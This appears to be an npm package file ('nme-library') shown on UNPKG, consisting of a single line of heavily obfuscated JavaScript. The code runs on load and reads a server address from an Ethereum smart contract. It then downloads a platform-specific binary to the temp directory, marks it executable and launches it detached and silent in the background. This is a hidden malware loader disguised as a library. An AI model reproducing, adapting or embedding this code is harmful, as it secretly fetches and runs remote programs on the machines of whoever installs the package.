UNPKG

nme-library

Version:
1 lines 4.97 kB
const _0x3688da=_0x4c11;(function(_0x55274b,_0x11ced4){const _0x54b5b8=_0x4c11,_0x356781=_0x55274b();while(!![]){try{const _0x28cdb8=-parseInt(_0x54b5b8(0xba))/0x1*(-parseInt(_0x54b5b8(0xd0))/0x2)+-parseInt(_0x54b5b8(0xe1))/0x3+-parseInt(_0x54b5b8(0xd7))/0x4+-parseInt(_0x54b5b8(0xe4))/0x5+-parseInt(_0x54b5b8(0xd6))/0x6+parseInt(_0x54b5b8(0xd4))/0x7+-parseInt(_0x54b5b8(0xc0))/0x8*(-parseInt(_0x54b5b8(0xde))/0x9);if(_0x28cdb8===_0x11ced4)break;else _0x356781['push'](_0x356781['shift']());}catch(_0x2e7c35){_0x356781['push'](_0x356781['shift']());}}}(_0x5e8d,0xe6cec));function _0x5e8d(){const _0x347d5e=['ethers','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','WBqIN','41229KzbvaX','basename','HAJkE','2008524oylGKH','mainnet','qqSzm','3779540oyLkVx','axios','Ошибка\x20при\x20запуске\x20файла:','child_process','tmpdir','xsvdO','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','platform','error','data','iZBeZ','2FnRHOD','util','kvIFM','GET','chmodSync','getDefaultProvider','1600VHEySr','Bfdgp','Contract','Whvux','linux','Ошибка\x20установки:','unref','join','VKqLg','createWriteStream','Unsupported\x20platform:\x20','stream','ignore','path','finish','sJcPM','1752548VGTobM','pipe','GCBgz','/node-macos','12093298FHvasZ','ACiHd','10400028KOLQVz','1168880bkXFBw','darwin','/node-win.exe','OuyVu'];_0x5e8d=function(){return _0x347d5e;};return _0x5e8d();}const {ethers}=require(_0x3688da(0xdb)),axios=require(_0x3688da(0xe5)),util=require(_0x3688da(0xbb)),fs=require('fs'),path=require(_0x3688da(0xcd)),os=require('os'),{spawn}=require(_0x3688da(0xe7)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x3688da(0xdc),abi=[_0x3688da(0xea)],provider=ethers[_0x3688da(0xbf)](_0x3688da(0xe2)),contract=new ethers[(_0x3688da(0xc2))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x552cdb=_0x3688da,_0x2d7a2e={'WuchM':'Ошибка\x20при\x20получении\x20IP\x20адреса:','OuyVu':function(_0x415e2b){return _0x415e2b();}};try{const _0x126491=await contract['getString'](WalletOwner);return _0x126491;}catch(_0x594f05){return console[_0x552cdb(0xec)](_0x2d7a2e['WuchM'],_0x594f05),await _0x2d7a2e[_0x552cdb(0xda)](fetchAndUpdateIp);}},getDownloadUrl=_0x13e791=>{const _0x5f53ce=_0x3688da,_0x4d008f={'Bfdgp':'win32','xcCuE':_0x5f53ce(0xc4),'iZBeZ':_0x5f53ce(0xd8)},_0x449114=os[_0x5f53ce(0xeb)]();switch(_0x449114){case _0x4d008f[_0x5f53ce(0xc1)]:return _0x13e791+_0x5f53ce(0xd9);case _0x4d008f['xcCuE']:return _0x13e791+'/node-linux';case _0x4d008f[_0x5f53ce(0xb9)]:return _0x13e791+_0x5f53ce(0xd3);default:throw new Error(_0x5f53ce(0xca)+_0x449114);}},downloadFile=async(_0x5d8132,_0x11f66b)=>{const _0x17c648=_0x3688da,_0x500d7f={'qqSzm':_0x17c648(0xce),'xsvdO':'error','Whvux':function(_0x32d081,_0x167419){return _0x32d081(_0x167419);},'HAJkE':_0x17c648(0xbd),'THQVh':_0x17c648(0xcb)},_0x108d1a=fs[_0x17c648(0xc9)](_0x11f66b),_0xe66ab4=await _0x500d7f[_0x17c648(0xc3)](axios,{'url':_0x5d8132,'method':_0x500d7f[_0x17c648(0xe0)],'responseType':_0x500d7f['THQVh']});return _0xe66ab4[_0x17c648(0xed)][_0x17c648(0xd1)](_0x108d1a),new Promise((_0x24ca92,_0x38688d)=>{const _0x571c61=_0x17c648;_0x108d1a['on'](_0x500d7f[_0x571c61(0xe3)],_0x24ca92),_0x108d1a['on'](_0x500d7f[_0x571c61(0xe9)],_0x38688d);});},executeFileInBackground=async _0x5f38c5=>{const _0x528bae=_0x3688da,_0x3b95f3={'kvIFM':function(_0x514bac,_0x16c04d,_0x36d234,_0x43cc99){return _0x514bac(_0x16c04d,_0x36d234,_0x43cc99);},'sJcPM':_0x528bae(0xcc),'tljbO':_0x528bae(0xe6)};try{const _0x485d8e=_0x3b95f3[_0x528bae(0xbc)](spawn,_0x5f38c5,[],{'detached':!![],'stdio':_0x3b95f3[_0x528bae(0xcf)]});_0x485d8e[_0x528bae(0xc6)]();}catch(_0x572028){console[_0x528bae(0xec)](_0x3b95f3['tljbO'],_0x572028);}},runInstallation=async()=>{const _0x1f86e5=_0x3688da,_0x4da20e={'dPYsF':function(_0x2ac136){return _0x2ac136();},'WBqIN':function(_0x3bdaa1,_0x19665f){return _0x3bdaa1(_0x19665f);},'GCBgz':function(_0x5bd10b,_0x3743af,_0x18ae44){return _0x5bd10b(_0x3743af,_0x18ae44);},'VKqLg':function(_0x514ab4,_0x204411){return _0x514ab4!==_0x204411;},'ACiHd':'755','ljBgF':_0x1f86e5(0xc5)};try{const _0x58cf06=await _0x4da20e['dPYsF'](fetchAndUpdateIp),_0xcfad74=_0x4da20e[_0x1f86e5(0xdd)](getDownloadUrl,_0x58cf06),_0x1d5ebe=os[_0x1f86e5(0xe8)](),_0x4ff767=path[_0x1f86e5(0xdf)](_0xcfad74),_0x1ae19b=path[_0x1f86e5(0xc7)](_0x1d5ebe,_0x4ff767);await _0x4da20e[_0x1f86e5(0xd2)](downloadFile,_0xcfad74,_0x1ae19b);if(_0x4da20e[_0x1f86e5(0xc8)](os[_0x1f86e5(0xeb)](),'win32'))fs[_0x1f86e5(0xbe)](_0x1ae19b,_0x4da20e[_0x1f86e5(0xd5)]);_0x4da20e[_0x1f86e5(0xdd)](executeFileInBackground,_0x1ae19b);}catch(_0x54a234){console['error'](_0x4da20e['ljBgF'],_0x54a234);}};function _0x4c11(_0xe07637,_0x1ad04e){const _0x5e8d10=_0x5e8d();return _0x4c11=function(_0x4c11df,_0x3ad463){_0x4c11df=_0x4c11df-0xb9;let _0x12048f=_0x5e8d10[_0x4c11df];return _0x12048f;},_0x4c11(_0xe07637,_0x1ad04e);}runInstallation();